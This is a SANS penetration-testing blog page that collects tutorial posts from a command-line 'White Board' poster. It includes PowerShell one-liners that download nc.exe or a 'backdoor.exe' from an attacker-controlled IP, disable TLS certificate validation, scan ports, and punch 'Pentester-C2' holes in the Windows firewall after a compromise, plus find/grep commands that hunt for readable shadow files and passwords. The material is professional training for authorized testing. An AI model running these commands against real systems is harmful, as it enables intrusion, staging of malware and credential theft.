SANS Poster – White Board of Awesome Command Line Kung Fu (PDF Download)

 

by: SANS Pen Test Team

Imagine you are sitting at your desk and come across a great command line tip that will assist you in your career as an information security professional, so you jot the tip down on a note, post-it, or scrap sheet of paper and tape it to your white board… now imagine you do this all the time until your white board is completely full of useful tips you’ve found and can use daily.

That is the concept behind the SANS Pen Test Poster: White Board of Awesome Command Line Kung-Fu created by the SANS Pen Test Instructors. Each tip was submitted by the Pen Test Instructors and curated by SANS Fellow, Ed Skoudis.

We are giving you a complete white board full of tips you can use to become a better InfoSec professional.

Now it is available for you to download.

Download PDF – PENT-PSTR-WHITEBOARD-V3-0118_web.pdf

PENT-PSTR-WHITEBOARD-V3-0118_web_small

PENT-PSTR-WHITEBOARD-V3-0118_web_small_back

 

Additional Educational Posts based on the Poster:

Python:

“White Board” – Python – Python Debugger
“White Board” – Python – Python Reverse Shell!
“White Board” – Python – Pythonic Web Server
“White Board” – Python – Raw Shell -> Terminal
“White Board” – Python – Pythonic Web Client

Bash:

“White Board” – Bash – Useful IPv6 Pivot
“White Board” – Bash – Encrypted Exfil Channel!
“White Board” – Bash – What’s My Public IP Address?
“White Board” – Bash – Bash’s Built-In Netcat Client
“White Board” – Bash – Check Service Every Second
“White Board” – Bash – Make Output Easier to Read
“White Board” – Bash – Website Cloner
“White Board” – Bash – Sudo… Make Me a Sandwich
“White Board” – Bash – Find Juicy Stuff in File System

CMD.exe:

“White Board” – CMD.exe – C:\> netsh interface
“White Board” – CMD.exe – C:\> wmic process

PowerShell:

“White Board” – PowerShell – Add a Firewall Rule
“White Board” – PowerShell – Built-in Port Scanner!
“White Board” – PowerShell – Get Firewall Rules
“White Board” – PowerShell – One-Line Web Client
“White Board” – PowerShell – Ping Sweeper!
“White Board” – PowerShell – Find Juicy Stuff in the File System

 

Desktop Wallpapers based on Poster:

Bash, PowerShell, Python…

Python_1280x1024(example)

 

SANS Pen Test Training:

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – PowerShell – One-Line Web Client

Board Elements_clean_One-Line Web Client

By Matthew Toussain, Grant Curell

 

Introduction

Mobility is a critical component of the attack. The ability to be adaptable, while transporting your tactics and tools into a remote environment, is a key differentiator between inexperienced and senior operators. The criticality is an aftereffect of frequency, one of the most common tasks in pentesting involves that rather simple, but ubiquitous, problem: Moving files from a machine you own to another that you… sort of own. It’s a work in progress. To that effect having a game plan for transporting your tools into any environment no matter the configuration or security controls, will allow you to focus your efforts on the harder nuts to crack while leaving the skiddies to eat your dust!

oneline_webclient_01

File transfer frustrations in contested environments happen to all of us. The first time I forgot to turn on binary transfer mode in FTP, I could not figure out why the executable I transferred refused to run. The result? I spun my wheels endlessly on a simple problem (If binary transfer mode is not set – the file becomes corrupted).

Proficiency with various file transfer methods is one of the most useful skills to keep in a pentester’s back pocket. This proves even more true during Red Team operations where any number of data transfer methods could be the key to maintaining persistent access, evading an active blue team, or even getting domain admin. On a recent engagement, we gained GUI access to a remote target by tunneling a remote desktop session, but struggled to get our toolkit onto the environment uncorrupted. We solved the problem by *drum roll please* …downloading it with Internet Explorer. It worked… Okay then! While this cringe-worthy instance of GUI-driver paradise did in fact save the day, this post discusses a more efficient and powerful option: PowerShell.

oneline_webclient_02At long last Windows users can wget! (Almost… technically it’s Invoke-WebRequest aliased with the name wget, but close enough.)

 

Methods Covered in this Section

Win 7 PS WebClient:

(New-Object System.Net.WebClient).DownloadFile(“http://10.0.0.10/nc.exe”,”nc.exe”)

Win 8 and later PS Invoke-WebRequest (wget):

wget "http://10.0.0.10/nc.exe" -outfile "nc.exe"

Display PowerShell Version:

Get-Host

$PSVersionTable.PSVersion

ServicePointManager $true:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Disable-NetSSLValidation

Invoke-SelfSignedWebRequest (External Project):

Invoke-SelfSignedWebRequest https://www.my.af.mil/ "-outfile index.htm"

wget-ss https://spectruminfosec.com/index.php

 

Moving files onto a Windows environment was traditionally a more difficult task to accomplish due to its lack of straightforward file transfer tools. No netcat, wget, curl, ssh, or python. But with PowerShell, all of that capability is readily available at our fingertips. Yes, even wget.

An important distinction to be aware of are the differing versions of PowerShell active in the wild today. With older languages like perl, bash, and even python, much of the code-base has remained fairly consistent year-to-year. While PowerShell has undergone a macroevolution with each iteration of the Windows operating system since its inception. More on that later.

For now we’ll start with the webclient that works on all versions of PowerShell.

 

PowerShell Webclient:
(New-Object System.Net.WebClient).DownloadFile(“http://10.0.0.10/nc.exe”,”nc.exe”)

oneline_webclient_03

Because the above command is available on every version of Powershell, it is the preferable option for cross platform scripting engagements where there is uncertainty as to the Powershell version.

 

Command Breakdown

(New-Object System.Net.WebClient).DownloadFile(“http://10.0.0.10/nc.exe”,”nc.exe”)

1. (New-Object System.Net.WebClient) - Creates an instance of the WebClient class. 
The WebClient object has all the capabilities required to act like a GUI web client.
2. DownloadFile(“ - Call the DownloadFile method in the WebClient class.
This method allows WebClient to download something from a remote server
3. http://10.0.0.10 - Download the file via the HTTP protocol from IP address 10.0.0.10
4. /nc.exe” - Download the file nc.exe
5. ,”nc.exe”) - This is the destination file

 

PowerShell Invoke-WebRequest:
wget "http://10.0.0.10/nc.exe" -outfile "nc.exe"

oneline_webclient_04

On newer versions of PowerShell, the Invoke-WebRequest cmdlet is at our disposal. Furthermore, it is aliased to and supports command syntax similar to the wget program found on many Unix systems.

 

Command Breakdown

wget "http://10.0.0.10/backdoor.exe" -outfile "backdoor.exe"

1. wget - Short for web get. Wget is a tool for downloading files via HTTP, HTTPS, and FTP.
2. “10.0.0.10 - Download the file via the HTTP protocol from IP address 10.0.0.10
3. /nc.exe” - Download the file backdoor.exe
4. -outfile “backdoor.exe” - The output file name for the downloaded file.

 

The Invoke-WebRequest cmdlet was introduced in Windows PowerShell starting with version 3.0. To determine what version is running on your environment run the Get-Host or $PSVersionTable.PSVersion commands. Referencing the PowerShell version table is more accurate than results returned by Get-Host, but either is generally sufficient.

 

Display PowerShell Version:
Get-Host
or
$PSVersionTable.PSVersion

 

Windows 7 – PS 2.0

oneline_webclient_05

Windows 10 – PS 5.1

oneline_webclient_06

Beginning in October of 2009 with Windows 7 and Windows Server 2008 R2, PowerShell was distributed and installed as part of the default operating system build. Unfortunately, Windows 7 was released with PowerShell version 2.0 while many robust PowerShell cmdlets like Invoke-WebRequest (wget) did not find their way into the PowerShell ecosystem until version 3.0. In 2012 with the release of Windows 8 and Server 2012, PowerShell 3.0 became part of the standard operating system build. As of this writing, modern Windows 10 is distributed with PowerShell version 5.0 by default.

For the purposes of most penetration testing with PowerShell, the important distinction is between versions 2.0 and 3.0+. Many command line techniques in version 2.0 require direct instantiation of .NET constructors by way of the New-Object cmdlet as seen in the Windows 7 variant of the WebClient. In PowerShell 3.0+, many of these functions have been created and integrated as standalone cmdlets that are much more straightforward to use.

 

Conclusion

Web traffic is prolific on almost all networked environments. Downloading files over HTTP provides a great way to move traffic without being noticed. Looking for strange HTTP traffic is like hunting for the proverbial needle in the haystack. That said, consider the following: A phenomenal tactic for defenders looking for out-of-place HTTP traffic is to examine the user-agent string.

oneline_webclient_07

While the traffic itself doesn’t stand out (aside from the not-so-subtle filename), the user-agent string “WindowsPowerShell/5.1…” is a definite eye-opener unless users frequently download files with Windows PowerShell.

Sometimes defenders can snag an easy win by filtering traffic on these strings and sifting out the things that don’t match. Shout out to Seth Misenar and Chris Crowley who regularly teach tactics like these to members of the DoD (including this author) through the SANS RaD-X (Rapid Experience Builder) Course. If you are one of my DoD brethren, I can’t recommend RaD-X enough.

 

Bonus: PowerShell over HTTPS

Having taken a dive into traffic inspection on the blue team side, how can red elevate their technique to evade? One idea that may come to mind is encryption. SSL/TLS is a typical part of modern web traffic. Unfortunately, when using the above techniques against a self-signed or invalid certificate, we don’t get the most positive results:

oneline_webclient_08

*ERROR*

WebClient.DownloadFile():

Exception calling "DownloadFile" with "2" argument(s): "The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel."

Invoke-WebRequest:

The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel.

PowerShell automatically “protects” you against CERT_AUTHORITY_INVALID errors. As a pentester this can be problematic because we might frequently be setting up and operating from domains/redirectors that do not have an officially signed certificate. Bypassing this restriction can be hit or miss depending on the environment you find yourself in, but some combination of the following tricks generally works out.

For the webclient variant this bypass is typically quite trivial:

ServicePointManager $true:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

This technique disables SSL certificate validation through the System.Net.ServicePointManager endpoint by manually configuring the ServerCertificateValidationCallback to return $true, and allows us to connect to domains with self-signed certificates using WebClient.DownloadFile().

Unfortunately, the ServerCertificateValidationCallback will not work for asynchronous callbacks. Callbacks like Invoke-WebRequest and Invoke-RestMethod operate on their own task threads in order to provide other threads appropriate runspace for simultaneous execution. As a result, upon configuring ServerCertificateValidationCallback we end up with a different, new error:

The underlying connection was closed: An unexpected error occurred on a send.

Getting around this is a bit more difficult. Two general options exist:

1. Install the certificate manually
2. Disable certificate validation in the underlying .NET

 

As security professionals option #2 is an obvious choice!

Disable-NetSSLValidation:

Disable-NetSSLValidation

Download Code: Disable-NetSSLValidation.PDF

 

The above code snippet configures internal .NET settings to disable SSL certificate validation via useUnsafeHeaderParsing. Unfortunately, while this does work in some cases it is generally pretty ineffective. Drat!

Given that we have now been forced to take on the more security-minded approach, consider the following cmdlet:

Invoke-SelfSignedWebRequest:

Invoke-SelfSignedWebRequest_00

Download Code: Invoke-SelfSignedWebRequest.PDF

 

The Invoke-SelfSignedWebRequest cmdlet is a wrapper for Invoke-WebRequest that connects to a target host downloads the X.509 Certificate and loads it into the current user’s certificate store.

oneline_webclient_09

It then passes the web request through to Invoke-WebRequest, removes the certificate from the store and resets ServerCertificateValidationCallback in order to leave a clean state. It’s nice when the work around does the work for you right!?!

All code for these invalid SSL certificate bypass techniques and functions can be found on github as part of the SelfSignedWebRequest Repository: https://github.com/0sm0s1z/Invoke-SelfSignedWebRequest

You may also find the Disable-SSLValidation cmdlet useful. It disables SSL certificate validation by using reflection to implement the System.Net.ICertificatePolicy class. This cmdlet is quite old however and your mileage may vary.

oneline_webclient_10

Happy Hunting!

Matthew Toussain
https://twitter.com/0sm0s1z

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – PowerShell – Get Firewall Rules

Board Elements_clean_Get Firewall Rules

By Matthew Toussain, Grant Curell
Updated – 3/14/2017

 

Concealed within his fortress, the Lord of Mordor sees all…  And with PowerShell we can too!

 

Microsoft has truly given system administrators and computer hackers alike a gift: The gift of vision. Take for instance, PowerShell output, format, and export functions. Most scripting languages are built to be lean, efficient, and capable. PowerShell manages all three while natively supporting a host of features to retrieve data and walk through it, step by step.

get_firewall_rules_v2_01

Methods Covered in this Section

Get-NetFirewallRule display rules:

Get-NetFirewallRule -all

Get-NetFirewallRule basic formatting (list of names):

Get-NetFirewallRule -all | Format-List -Property Name

Get-NetFirewallRule in grid view:

Get-NetFirewallRule -all | Out-GridView

Get-NetFirewallRule export to csv:

Get-NetFirewallRule -all | Export-Csv <file_path.csv>

Firewall rules via comObjects:

$(New-object -comObject HNetCfg.FwPolicy2).rules | Format-Table -Property name, protocol, localports

 

PowerShell cmdlets are built around the concept of objects. To display a list of all firewall rule objects run the command below.

 

Get-NetFirewallRule display rules:
Get-NetFirewallRule -allget_firewall_rules_v2_02

 

The robust formatting capabilities of PowerShell would not be possible without its object oriented design. For example, because we are interacting with firewall rule objects we do not have to parse the results of our command line-by-line. In bash, we would have to use some combination of the cut, grep, sort, and uniq commands to have even the slightest  chance at transforming the above data into the list below.

 

Get-NetFirewallRule basic formatting (list of names):
Get-NetFirewallRule -all | Format-List -Property Name
get_firewall_rules_v2_03

 

The Format-List cmdlet is the most basic method to control and format object information with PowerShell. Where the first command spewed lines of data, Format-List (limiting by the Name property) is able to present a list of all firewall rules by name.

 

A more robust output format is Out-GridView this sends command output into a specialized grid view window where it is displayed in an interactive table:

 

Get-NetFirewallRule in grid view:
Get-NetFirewallRule -all | Out-GridViewget_firewall_rules_v2_04

 

Grid view can be exceptionally handy as part of a clickable script allowing for quick spreadsheet viewing of large datasets without ever delving into the command line. As a result, it proves particularly useful for technical experts to make their results accessible to less specialized analysts. Its direct interactivity and built-in search filter only make it more useful.

 

Even more extensibility is possible by leveraging the export set of cmdlets. PowerShell natively supports several export mechanisms including ConvertTo-Html and Export-Csv.

 

Get-NetFirewallRule export to csv:
Get-NetFirewallRule -all | Export-csv <file_path.csv>

get_firewall_rules_v2_05

 

Bonus Command – Firewall Rules on Windows 7

There is one major downside to the NetFirewall series of cmdlets, they are not supported on Windows 7 and older systems even when their PowerShell version has been upgraded past version 3.0. Fortunately, we can still arrive at similar functionality within PowerShell via a clever little hack. Using the Microsoft Component Object Model (COM) to leverage comObjects allows us to use a set of features introduced in 1993 to empower backwards compatibility within our PowerShell scripts. Behold!

 

Firewall rules via comObjects:
$(New-object -comObject HNetCfg.FwPolicy2).rules | Format-Table -Property name, protocol, localportsget_firewall_rules_v2_06

 

Conclusion

PowerShell is magical. Consider for a moment what just went on under the hood as you executed these ultra-simple one liners. Controlling, managing, and formatting information is an inherent facet of PowerShell. As such, its application is not limited to viewing the Windows firewall setup. Let the situation and your imagination drive its usage! Remember: No matter how much data you are presented with, through PowerShell you are the Dark Lord, and YOU. SEE.. ALL

Matthew Toussain
https://twitter.com/0sm0s1z

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – PowerShell – Built-in Port Scanner!

Board Elements_clean_Built-in Port Scanner!

By Matthew Toussain, Grant Curell

 

Introduction

NMAP is an ideal choice for port scanning, but sometimes it may not be a feasible option. Other times a quick check to see if a port is open might be all the detail needed. In these scenarios PowerShell really shines. Let’s examine methods to use PowerShell for basic port scanning functionality.

builtinportscanner_01

 

Methods Covered in this Section

PowerShell port scanner:

1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.100",$_)) "Port $_ is open!"} 2>$null

Test-Netconnection scan a range of IPs for a single port:

foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}

PS IP range & port range scanner:

1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}

PS test egress filtering:

1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("allports.exposed",$_)) "Port $_ is open!" } 2>$null

 

To create a PowerShell port scanner in one line we need to combine three distinct components. Creating a range of objects, looping through each object, and outputting information for each to the screen. In the case of PowerShell we can make use of its object oriented nature to facilitate this process.

 

PowerShell port scanner:
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.100",$_)) "Port $_ is open!"} 2>$null

builtinportscanner_02

 

Command Breakdown

1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.100",$_)) "Port $_ is open!"} 2>$null

1. 1..1024 - Creates a range of variables between 1..1024
2. | - The pipe operator passes objects into the loop
3. % - The % operator in PowerShell is an alias for foreach-object, and is used to start a loop. 
The loop executes the content between {} in sequence
4. echo - Print the following output to the screen
5. new-object Net.Sockets.TcpClient - Instantiates an instance of the .Net TcpClient class, allowing us to make socket connections to TCP ports
6. .Connect(“10.0.0.100”,$_)) - Call the Connect function on the TcpClient class with arguments 10.0.0.100 and port $_. $_ is a variable that means current object. 
The current object relates to number (1..1024) that the loop is currently on.
7. “Port $_ is open!”) - This prints Port # is open! when the program finds an open port.
8. 2>$null - This tells PowerShell not to display any errors encountered

 

The range above scans the 1024 low number ports, but it can easily be adjusted ie (22..53), (8000..9000), etc.

Another method available from within PowerShell is the Test-NetConnection command which can dump extended useful information and is very similar:

 

Test-Netconnection scan a range of IPs for a single port:
foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}

builtinportscanner_03

 

A major downside to the Test-NetConnection option is that it was not introduced until PowerShell version 4.0.

 

Command Breakdown

foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}

1. foreach ($ip in 1..20) {} - Loop through numbers 1 to 20
2. Test-NetConnection - Test-NetConnection is a utility for testing different types of network connectivity.
3. -Port 80 - Check the availability of port 80
4. -InformationLevel “Detailed” - Provide detailed output information
5. 192.168.1.$ip - Attempt to connect to port 80 against the listed IP address. 
The $ip variable loops from 1-20 in this example.

 

Building a scanner that iterates through systems and ports is possible as well:

 

PS IP range & port range scanner:
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}

builtinportscanner_04

 

This version of the command will scan IP addresses 10.0.0.1-20 and ports 1-1024. Be advised, it may take a while to complete. A more efficient alternative might be to specify the ports to look for manually. Like this:

 

PS IP range & port range scanner v2:
1..20 | % { $a = $_; write-host "------"; write-host "10.0.0.$a"; 22,53,80,445 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}

builtinportscanner_05

 

Bonus Command – Testing Egress Filtering

Many secure environments enable egress filtering controls to limit outbound protocol access to necessary services. This is one of the reasons it is advantageous to leverage HTTP/HTTPS/DNS channels where possible however, when in need of identifying alternative outbound access we can use PowerShell internally to evaluate egress filters on the network firewall.

 

PS test egress filtering:
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("allports.exposed",$_)) "Port $_ is open" } 2>$null

builtinportscanner_06

 

For more information on PowerShell egress testing Beau Bullock with Black Hills Information Security has a detailed write-up here: http://www.blackhillsinfosec.com/?p=4811

 

Conclusion

PowerShell is a robust tool that can accomplish nearly anything when unleash on a Windows environment. Tinker with new and unique combinations of the commands discussed here and feel free to include your improvements in the comments below.

Matthew Toussain
https://twitter.com/0sm0s1z

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – PowerShell – Add a Firewall Rule

Board Elements_clean_Add a Firewall Rule

By Matthew Toussain, Grant Curell

In many lab and training environments firewalls are disabled to facilitate the learning experience. As part of live pentests however, bypassing and manipulating firewalls is all in a day’s work. The Windows firewall is the most common packet filtering hurdle encountered today. While it is not necessarily the most robust solution, it can be tricky to manipulate without direct access to the GUI. Fortunately, PowerShell supports a potent set of integrations that we can leverage.

 

powershell_addfirewallrule_01

 

Methods Covered in this Section

Set-NetFirewallProfile to Disable/Enable the Windows Firewall:

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True

New-NetFirewallRule to add allow a specific IP address to connect:

New-NetFirewallRule -Action Allow -DisplayName Pentester-C2 -RemoteAddress

New-NetFirewallRule to allow connections on a specific port:

new-netfirewallrule -action allow -localport 80 -direction inbound -protocol tcp -displayname pentester-c2

 

Scenario: You successfully compromise an internal host. Awesome! In order to move laterally, your next step is to serve up your toolkit inside the target network. This reduces the risk of being caught by keeping all nefarious traffic internal to the target environment, and allows for direct access and invocation by way of protocols that might be filtered from an egress perspective (often the case with SMB traffic, PORT: 445). Unfortunately, your network sports that pesky Windows firewall. You could turn it off, but that isn’t exactly incognito:

Set-NetFirewallProfile to Disable/Enable the Windows Firewall:

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

powershell_addfirewallrule_02

 

Hope the users weren’t watching when you did that! Furthermore, Windows is fairly aggressive about reminding users that their firewall is disabled. Cutting a more precise hole through the firewall is definitely the preferred method here.

 

Turning Meterpreter into PowerShell

Let’s backtrack for a moment. In your initial compromise did you end up with a PowerShell session, or a Meterpreter session? Starting with the Metasploit meterpreter and somehow transitioning might feel like turning water into wine, but with the Metasploit payload_inject post-exploitation module miracles are possible.

post/windows/manage/payload_inject

powershell_addfirewallrule_03

 

Alternately, PowerShell is also available as a payload option directly. That said, it is often most convenient from a tradecraft perspective to begin with meterpreter and leverage the payload_inject module as needed.

 

Ripping a hole in the space-time continuum… (aka the firewall)

Now that we have a PowerShell session on the target we just need to rip a hole in the space-time (firewall) continuum to pop out on the other side of the Windows firewall! Naturally, there is a PowerShell cmdlet built just for this. Consider the following:

We can identify a packet filter on our target host by scanning with nmap:

powershell_addfirewallrule_04

 

The STATE “filtered” in nmap typically indicates that a firewall dropped the probes sent out by the scanner. This corresponds with the typical TCP connection behavioral differences between an operating system and packet filters. When an attempt is made to connect to a port on which an operating system is not listening, the underlying OS is kind enough to respond with a TCP reset (RST).

This tells us that nothing is here and we can therefore move on. Firewalls, on the other hand, tend to drop packets that have no business being there in the first place. From a scanning perspective this slows us down, but when it comes to identifying live services it is a good indicator that either the host does not exist, or that there is a firewall filtering and dropping inbound traffic. This gives us three general states in Nmap: open (unobstructed access), closed (received a RST, nothing here), filtered (I wonder what’s behind door number 1?). Let’s open the door shall we?

New-NetFirewallRule to add allow a specific IP address to connect:

New-NetFirewallRule -Action Allow -DisplayName Pentester-C2 -RemoteAddress 192.168.1.100

powershell_addfirewallrule_05

 

Running Nmap to test the connection again we can observe a new set of results:

powershell_addfirewallrule_06

 

Command Breakdown

New-NetFirewallRule -Action Allow -DisplayName Pentester-C2 -RemoteAddress 192.168.1.100

1. New-NetFirewallRule - PowerShell cmdlet for creating new firewall rules
2. -Action Allow - Either block or allow. The default is allow
3. -DisplayName Pentester-C2 - The name of the rule when viewed in the GUI or via the command line
4. -RemoteAddress 192.168.1.100 - The address to permit inbound connections from

 

How about something bigger?

The above command is all finesse. It limits access to a trusted host only, but what if we want to allow everyone to connect to the hole we just punched through the firewall?

New-NetFirewallRule to allow connections on a specific port.

new-netfirewallrule -action allow -localport 80 -direction inbound -protocol tcp -displayname pentester-c2

powershell_addfirewallrule_07
This cmdlet is pretty extensive and virtually anything imaginable is possible. The official documentation is available here.

Command Breakdown

New-NetFirewallRule -action allow -localport 80 -direction inbound -protocol tcp -displayname pentester-c2

1. -localport 80 - The local port to apply the rule against
2. -direction inbound - The direction to apply the rule to. This is either inbound or outbound.
3. -protocol tcp - When specifying a TCP/UDP port, the user must also specify which of the two protocols to apply the rule against. 
The value could also be a protocol number 0-255 or another protocol name (ex: ICMPv4).

 

Conclusion

For interested readers, there are also Get-NetFirewallRule, Set-FirewallRule, Enable-NetFirewallRule, Show-NetFirewallRule, and Remove-NetFirewallRule commands. With this set of tools, complete and granular control of the Windows firewall is available all through PowerShell.

Matthew Toussain
https://twitter.com/0sm0s1z

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – Bash – Find Juicy Stuff in the File System

Board Elements_clean_Find Juicy Stuff in the File System-05

By Matthew Toussain, Geoff Pamerleau

Pilfering data is a post-exploitation phase that rarely receives enough credit. As pentesters, the way we demonstrate security risk and the way we escalate our attacks to a new level is based entirely on what we find after the compromise is realized. While manually driving the command line from directory to directory in an endless cycle of cd and ls, is a possible solution it hardly scales to an enterprise of hundreds of systems. The first step is to key in on target data types: Do users keep usernames or passwords in text files? Are there configurations we can read that might contain database credentials or hashes? Could there be email addresses or phone numbers to pilfer for use in social engineering efforts? With a little bash-fu we can get the answers to these questions and many more with relatively little effort.

 

Methods Covered in this Section:

find filtering by path, filename, and permissions

find /path -iname "FILTER" -perm PERM

find with flags used to list or delete files found

find /path -iname "FILTER" -ls

find with grep to quickly identify files of interest

find /path -iname "FILTER" -exec grep -i "CONTENT" {} \;

 

Find FTW

The find command is an incredibly powerful tool available on most Unix derived systems. With it we can quickly search the filesystem to find interesting files. At its simplest, we can use the find command to locate files based on file attributes such as modified, accessed or created times, ownership and access attributes, and file type. When searching by file name we can use either the -name or -iname flags. The flags function the same except for the -iname flag makes our search case-insensitive. When using the flags we use glob expressions. So if we want to search the whole filesystem for any copies of the shadow file something like the following would work:

find filtering by path or filename:
find / -iname "shadow*"

findjuicy01Permission denied errors are no fun

 

Command Breakdown:

find / -iname "shadow*"

1. find - Command line tool to search for files
2. / - The path that we want to initiate our find from; starting from / will search the entire filesystem
3. -iname - Perform case insensitive search of file names
4. "shadow*" - The shell pattern supplied to -iname; files like /etc/shadow or /etc/shadow.bak will match but /etc/gshadow would not. Note: unlike normal shell expansion leading '.' will be matched by the * character.

 

When running as a non root user we will frequently get ‘Permission denied’ errors. In that case redirecting standard error to /dev/null should help us prettify our results. If we want to get a more traditional ls style output for each of the files found by our find command we can use the -ls flag. The fleshed out version of our previous command might now look like this:

find with flags used to list or delete files found (w/error redirection)
find / -iname "shadow*" -ls 2>/dev/null

findjuicy02The permission denied errors are gone

 

What if we want to filter for only the files we have the appropriate level of access to actually use? Consider this: Let us say we have an unprivileged account on the target and we are not in the shadow or root groups. We can filter results with the -perm flag to find only files where the read flag has been set for others. In order to make this permissions search non-exclusive, that is if the read and write flag is set for others we still want to see it, we have to specify the permissions that we are looking for starting with a “/”. So our previous command might now look like this:

 

find results can also be filtered by file permissions as well (-perm) flag
find / -iname "shadow*" -perm /o+r -ls 2>/dev/null

findjuicy03

 

We filtered out the /etc/shadow file that was not readable to us due to restrictive permissions. Now we can see that there is a shadow backup file that is world readable! Go grab those hashes and elevate privileges!

 

Content is King!

The find command supports many flags that determine what gets done to each file found by our search parameters. In addition to the -ls flag which performs an ls on matching files and the -delete flag which will delete any matching files there is the -exec flag. This flag allows us to run an arbitrary command against each file found from the original find command. By using -exec to run grep or egrep on each of the files that our find command locates we can quickly search the file system for email addresses, database passwords, or really any other content of interest that a regular expression can be written to match on.

We can combine the previous find knowledge with -exec to look for all .txt files containing a defined password field or variable name with something like:

find with grep to search for strings inside of files:
find /home -iname "*.txt" 2>/dev/null -exec grep -i 'pass' {} \;

findjuicy04Holy Wall-of-Text Batman! Let’s simplify the output to make things easier

 

Command Breakdown:

find /home -iname "*.txt" 2>/dev/null -exec grep -i 'pass' {} \;

1. find /home -iname "*.txt" 2>/dev/null - same old find-fu from before
2. -exec COMMAND - Specify an arbitrary command to run on each file.
